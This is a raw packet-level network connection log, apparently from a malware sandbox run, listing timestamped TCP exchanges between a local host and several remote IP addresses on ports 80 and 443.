Nov 16, 2024 23:36:36.927292109 CET	49888	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.927299023 CET	443	49888	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.056828976 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.057030916 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.057224035 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.057266951 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.057356119 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.057391882 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.057400942 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.057408094 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.057456970 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.057463884 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.057478905 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.057513952 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.057523966 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.057529926 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.057552099 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.057560921 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.057566881 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.057596922 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.057612896 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.057621956 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.057627916 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.057643890 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.057646990 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.057656050 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.057660103 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.057672024 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.057682037 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.057713985 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.073358059 CET	443	49888	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.073415041 CET	443	49888	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.073542118 CET	443	49888	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.073611021 CET	49888	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.075062990 CET	49888	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.075081110 CET	443	49888	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.075120926 CET	49888	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.075129032 CET	443	49888	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.082030058 CET	49891	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.082072020 CET	443	49891	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.082195997 CET	49891	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.082664967 CET	49891	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.082686901 CET	443	49891	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.213809013 CET	49892	443	192.168.2.5	20.42.73.31
Nov 16, 2024 23:36:37.213835001 CET	443	49892	20.42.73.31	192.168.2.5
Nov 16, 2024 23:36:37.213910103 CET	49892	443	192.168.2.5	20.42.73.31
Nov 16, 2024 23:36:37.214118004 CET	49892	443	192.168.2.5	20.42.73.31
Nov 16, 2024 23:36:37.214137077 CET	443	49892	20.42.73.31	192.168.2.5
Nov 16, 2024 23:36:37.214396000 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.214418888 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.214436054 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.214457989 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.214498997 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.214504004 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.214514017 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.214529991 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.214555025 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.214603901 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.214649916 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.214663982 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.214685917 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.214699984 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.214703083 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.214730978 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.214756012 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.214780092 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.214787006 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.214792013 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.214823008 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.214838982 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.215584993 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.215673923 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.215706110 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.215709925 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.215725899 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.215748072 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.215761900 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.215783119 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.215794086 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.215818882 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.215833902 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.215858936 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.216005087 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.216034889 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.216049910 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.216068983 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.216075897 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.216110945 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.216121912 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.216156006 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.216166973 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.216191053 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.216217041 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.216229916 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.216242075 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.216281891 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.216317892 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.216331005 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.216373920 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.222865105 CET	49893	443	192.168.2.5	20.125.209.212
Nov 16, 2024 23:36:37.222886086 CET	443	49893	20.125.209.212	192.168.2.5
Nov 16, 2024 23:36:37.222949028 CET	49893	443	192.168.2.5	20.125.209.212
Nov 16, 2024 23:36:37.223110914 CET	49893	443	192.168.2.5	20.125.209.212
Nov 16, 2024 23:36:37.223126888 CET	443	49893	20.125.209.212	192.168.2.5
Nov 16, 2024 23:36:37.289041042 CET	443	49889	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.289514065 CET	49889	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.289541006 CET	443	49889	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.289935112 CET	49889	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.289942980 CET	443	49889	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.294028997 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:37.294054031 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:37.294145107 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:37.294430017 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:37.294441938 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:37.372612953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.372637033 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.372714996 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.372715950 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.372740984 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.372780085 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.372792959 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.372823954 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.372842073 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.372857094 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.372872114 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.372888088 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.372906923 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.372941017 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.373418093 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.373430967 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.373452902 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.373469114 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.373475075 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.373486996 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.373492002 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.373503923 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.373509884 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.373538971 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.373883963 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.373924017 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.373924971 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.373939991 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.373955965 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.373971939 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.373986959 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.373987913 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.374006987 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.374032021 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.374237061 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.374249935 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.374273062 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.374288082 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.374298096 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.374303102 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.374317884 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.374325037 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.374325037 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.374341011 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.374345064 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.374353886 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.374370098 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.374383926 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.374413013 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.374596119 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.374649048 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.374691963 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.374777079 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.374792099 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.374806881 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.374835014 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.374850035 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.374851942 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.374866962 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.374891043 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.374917030 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.375096083 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.375121117 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.375133991 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.375160933 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.375186920 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.375216007 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.375231981 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.375247955 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.375268936 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.375297070 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.376442909 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.376492977 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.376517057 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.376532078 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.376543999 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.376547098 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.376585960 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.376702070 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.376775980 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.376787901 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.376802921 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.376806974 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.376820087 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.376835108 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.376837969 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.376849890 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.376857996 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.376902103 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.377856016 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.377902031 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.377921104 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.377934933 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.377952099 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.377966881 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.377969027 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.377995014 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.378027916 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.378683090 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.378735065 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.378750086 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.378772020 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.378772020 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.378792048 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.378846884 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.378952980 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.438023090 CET	443	49889	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.438041925 CET	443	49889	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.438096046 CET	49889	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.438097954 CET	443	49889	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.438148022 CET	49889	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.438832045 CET	49889	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.438848019 CET	443	49889	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.458873034 CET	49895	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.458918095 CET	443	49895	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.459135056 CET	49895	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.459938049 CET	49895	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.459954023 CET	443	49895	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.460983038 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.474574089 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.663738966 CET	443	49890	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.664239883 CET	49890	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.664262056 CET	443	49890	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.664666891 CET	49890	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.664685011 CET	443	49890	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.707849026 CET	49896	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:37.707880020 CET	443	49896	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:37.707938910 CET	49896	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:37.708029985 CET	49897	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:37.708060980 CET	443	49897	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:37.708111048 CET	49897	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:37.708152056 CET	49898	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:37.708159924 CET	443	49898	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:37.708204031 CET	49898	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:37.708398104 CET	49899	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:37.708409071 CET	443	49899	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:37.708543062 CET	49899	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:37.708659887 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:37.708692074 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:37.708781958 CET	49901	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:37.708858967 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:37.708868027 CET	443	49901	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:37.708985090 CET	49901	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:37.709172010 CET	49896	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:37.709183931 CET	443	49896	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:37.709404945 CET	49897	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:37.709427118 CET	443	49897	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:37.709522009 CET	49898	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:37.709533930 CET	443	49898	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:37.709629059 CET	49899	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:37.709645033 CET	443	49899	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:37.709736109 CET	49900	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:37.709748030 CET	443	49900	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:37.710309029 CET	49901	443	192.168.2.5	23.47.50.146
Nov 16, 2024 23:36:37.710345030 CET	443	49901	23.47.50.146	192.168.2.5
Nov 16, 2024 23:36:37.724123001 CET	443	49884	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.724576950 CET	49884	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.724591017 CET	443	49884	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.725321054 CET	49884	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.725325108 CET	443	49884	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.728943110 CET	443	49885	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.729310036 CET	49885	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.729337931 CET	443	49885	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.729691982 CET	49885	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.729700089 CET	443	49885	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.751888037 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.751924038 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.751957893 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.752017021 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.752757072 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.752813101 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.752830029 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.752846956 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.752857924 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.752890110 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.752898932 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.752935886 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.752943039 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.752969980 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.753019094 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.754158020 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.754183054 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.754195929 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.754206896 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.754221916 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.754230022 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.754235983 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.754251003 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.754256010 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.754266024 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.754271030 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.754280090 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.754297972 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.754297972 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.754319906 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.754319906 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.755269051 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.755279064 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.755290031 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.755300999 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.755319118 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.755332947 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.755352020 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.755352020 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.755388021 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.756135941 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.756145954 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.756158113 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.756186962 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.756194115 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.756207943 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.756217003 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.756220102 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.756230116 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.756243944 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.756272078 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.756710052 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.756721020 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.756731987 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.756752968 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.756783962 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.756810904 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.756823063 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.756834030 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.756854057 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.756879091 CET	49824	80	192.168.2.5	185.215.113.206
